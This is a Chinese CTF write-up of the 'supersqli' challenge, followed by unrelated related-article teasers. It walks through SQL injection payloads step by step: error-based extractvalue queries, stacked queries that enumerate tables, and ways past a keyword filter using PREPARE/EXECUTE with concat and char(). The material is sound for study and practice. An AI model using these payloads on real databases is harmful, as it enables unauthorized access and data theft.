supersqli-攻防世界

题目

加个'报错

1' and 1=1 #没报错判断为单引号字符注入

 爆显位

1' order by 2#回显正常

1' order by 3#报错

 

说明列数是2

 尝试联合查询

-1' union select 1,2#

被过滤了

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
    • select|update|delete|drop|insert|where:这部分表示匹配其中的任何一个单词。| 是一个逻辑“或”操作符,意味着它会匹配它前面的或后面的任何一个模式。
    • \.. 在正则表达式中是一个特殊字符,代表匹配任何字符(除了换行符)。为了匹配实际的点字符.,我们需要使用 \.
    • i:这是一个修饰符,表示匹配是不区分大小写的。
    • 代码会检查$inject字符串中是否包含“select”、“update”、“delete”、“drop”、“insert”、“where”或点.(不考虑大小写)。
      • 如果匹配到任何这些模式,preg_match会返回1,表示匹配成功。如果没有匹配到,它会返回0。
      • return 关键字表示这个函数会直接返回preg_match的结果。

SQL注入分类

根据参数类型:字符型,数字型、搜索型

根据提交方式:POST注入,GET注入,HTTP HEAD注入

根据有无回显:联合注入,报错注入,布尔盲注,延时注入

其他注入:堆叠注入,宽字节注入,二次注入等

尝试报错注入

爆数库版本

1' and (extractvalue(1,concat(0x5c,version(),0x5c)))

 

爆数据库名

 1' and (extractvalue(1,concat(0x5c,database(),0x5c)))--+

 得到数据库名supersqli

但是后续爆表列等被过滤了

基本都被过滤了尝试堆叠注入

1';show databases;#

结合题目以及之前爆出的数据库名猜测flag在supersqli

爆当前数据库biao

0';show tables;#

 爆191字段

 1';show columns from `1919810931114514`;#

 查flag字段

1’;select 1,2,group_concat(flag) from 1919810931114514;#

又被过滤了

使用MySQL预处理语句

1';PREPARE test from concat('s','elect','* from `1919810931114514`');EXECUTE test;#

PREPARE test from concat('s','elect','* from 1919810931114514') 表示利用 CONCAT 函数拼接 SQL 语句字符串 'select * from 1919810931114514',并将结果赋值给 test 参数。

EXECUTE test;# 则执行了刚才定义的 SELECT 语句,查询1919810931114514表中的所有数据,并将查询结果输出

采用预编译绕过,

1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#

';sEt @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’); 进行预编译
prEpare stmt from @sql; 设置变量
EXECUTE stmt;# 执行

char函数将ASCII值转字符实现select绕过

char函数:

SELECT CHAR(72, 101, 108, 108, 111);

以上 SQL 查询语句将返回字符串Hello 因为 H 对应 ASCII 码值为 72,e 对应 ASCII 码值为 101,l 对应 ASCII 码值为 108,o 对应 ASCII 码值为 111。

1';PREPARE w from concat(char(115,101,108,101,99,116),' * from `1919810931114514`');EXECUTE w;#

 115,101,108,101,99,116对应select

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/789103.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

时间管理系统的设计与实现|Springboot+ Mysql+Java+ B/S结构(可运行源码+数据库+设计文档)大学生

本项目包含可运行源码数据库LW,文末可获取本项目的所有资料。 推荐阅读300套最新项目持续更新中..... 最新ssmjava项目文档视频演示可运行源码分享 最新jspjava项目文档视频演示可运行源码分享 最新Spring Boot项目文档视频演示可运行源码分享 2024年56套包含ja…

git上传到本都仓库

摘要:本地初始化init仓库,进行pull和push;好处是便于利用存储设备进行git备份 git init --bare test.git 随便到一个空的目录下git clone 然后使用git上传 把git仓库删除之后再clone一次验证一下是否上传成功: 如果在ubantu上面没…

数据资产盘点七步法:教你为什么盘,盘什么,怎么盘

数据作为企业一种“特殊资产”,已被列入企业的资产负债表。只有对数据资源进行统筹规划,全面梳理,“摸清家底”,才能让数据更好地服务于企业的业务应用。怎样识别数据资产、有效管理和运营数据资产,利用现有的数据资产…

05 | Swoole 源码分析之 WebSocket 模块

首发原文链接:Swoole 源码分析之 WebSocket 模块 大家好,我是码农先森。 引言 WebSocket 是一种在单个 TCP 连接上进行全双工通信的协议。它允许客户端和服务器之间进行实时数据传输。 与传统的 HTTP 请求-响应模型不同,WebSocket 可以保持…

node res.end返回json格式数据

使用 Node.js 内置 http 模块的createServer()方法创建一个新的HTTP服务器并返回json数据,代码如下: const http require(http);const hostname 127.0.0.1; const port 3000;const data [{ name: 测试1号, index: 0 },{ name: 测试2号, index: 1 },…

[计算机效率] 格式转换工具:格式工厂

3.14 格式转换工具:格式工厂 格式工厂是一款功能强大的多媒体格式转换软件,可以实现音频、视频、图片等多种格式的转换。它支持几乎所有类型的多媒体格式,包括视频、音频、图片、字幕等,可以轻松实现格式之间的转换,并…

手写红黑树【数据结构】

手写红黑树【数据结构】 前言版权推荐手写红黑树一、理论知识红黑树的特征增加删除 二、手写代码初始-树结点初始-红黑树初始-遍历初始-判断红黑树是否有效查找增加-1.父为黑,直接插入增加-2. 父叔为红,颜色调换增加-3. 父红叔黑,颜色调换&am…

C++ Primer 总结索引 | 第十二章:动态内存

1、到目前为止,我们编写的程序中 所使用的对象 都有着严格定义的生存期。全局对象 在程序启动时分配,在程序结束时 销毁。对于 局部自动对象,当我们进入 其定义所在的程序块时被创建,在 离开块时销毁。局部static对象 在第一次使用…

Qt_Note20_QML_自定义Grid控件与OpacityMask的使用

import QtQuick 2.12 import QtQuick.Window 2.12 import QtQuick.Controls 2.12 import QtGraphicalEffects 1.14Window {visible: truewidth: 640height: 480title: qsTr("Hello World")// 自定义Grid控件与OpacityMask的使用Grid {id: gridwidth: 15height: 200co…

在线教育平台项目总结

一、业务流程 1.企业(B) 内容管理、媒资、缓存、消息、任务调度、搜索 2.个人(C) 搜索、缓存、订单、支付、学习 二、关键技术 1.缓存三兄弟: 缓存穿透,高并发请求过来之后,查询数据库中存…

升降梯人数识别摄像机

升降梯人数识别摄像机是一种智能监测设备,主要用于实时识别和计算升降梯内乘客的数量。通过搭载先进的图像识别技术和人工智能算法,该设备可以准确监测乘客进出数量,提供重要数据支持和信息反馈,帮助管理人员有效管理升降梯运行&a…

STM32学习和实践笔记(4): 分析和理解GPIO_InitTypeDef GPIO_InitStructure (a)

深入分析及学习一下上面这一段代码的构成与含义。 首先,这个GPIO_InitTypeDef GPIO_InitStructure;其实与int a 是完全类似的语法格式以及含义。 GPIO_InitStructure就相当于a这样一个变量。不过从这个变量的名字可以知道,这是一个用于GPIO初始化的结构…

界面控件DevExtreme JS ASP.NET Core 2024年度产品规划预览(一)

在本文中我们将介绍今年即将发布的v24.1附带的主要特性,这些特性既适用于DevExtreme JavaScript (Angular、React、Vue、jQuery),也适用于基于DevExtreme的ASP.NET MVC/Core控件。 注意:本文中列出的功能和特性说明官方当前/预计的发展计划&a…

hcip实验4:gre mgre ppp综合实验

实验拓扑: 实验目的: 1.R5为ISP,只能进行IP地址配置,其所有地址均配为公有IP地址 2.R1和R5间使用PPP的PAP认证,R5为主认证方;R2与R5之间使用ppp的CHAP认证,R5为主认证方;R3与R5之间使用HDLC封装; 3.R1、R…

MQ消息队列详解以及MQ重复消费问题

MQ消息队列详解以及MQ重复消费问题 1、解耦2、异步调用3、流量削峰4、MQ重复消费问题,以及怎么解决?4.1、重复消费产生4.2、解决方法: https://blog.csdn.net/qq_44240587/article/details/104630567 核心的就是:解耦、异步、削锋…

当面试官问你插入排序算法,你敢说自己会吗?

算法学习的重要性 在程序员的世界里,算法就如同一座桥梁,连接着问题与解决方案,是实现优秀程序的关键。 掌握算法,就能够在面对各种问题时,找到最合适的解决方法,以最少的时间和空间,实现最优的…

波长可调激光器中的增益芯片和SOA

----翻译自SATO Kenji,ZHANG Xiaobo于2019年发表的文章 摘要: 本文讨论了用于波长可调激光器(TL)的半导体光放大器(SOA)和增益芯片的设计规则。即与常规SOA或激光器相似,也有一些不同之处。位…

酷开科技不断深耕智能电视领域,用酷开系统带给消费者更多可能性

在这个网络快速发展的时代,电视行业也发生了巨大变革。与以往单纯的“看”电视不同,人们不再满足于现有的状态,消费者对电视娱乐的追求更加丰富,这也就带给智能电视产业无限的发展可能。酷开科技瞄准这一产业趋势,不断…

家庭影院触摸屏中应用的电容式触摸芯片

家庭影院的主要组成部分包括显示设备、音响设备、信号源和接线设备等。其中,显示设备通常采用高清电视或投影仪,音响设备包括功放、音箱、低音炮等,信号源可以是蓝光光盘、游戏机、有线电视、网络电视等多种媒体设备。 家庭影院的影像信号通…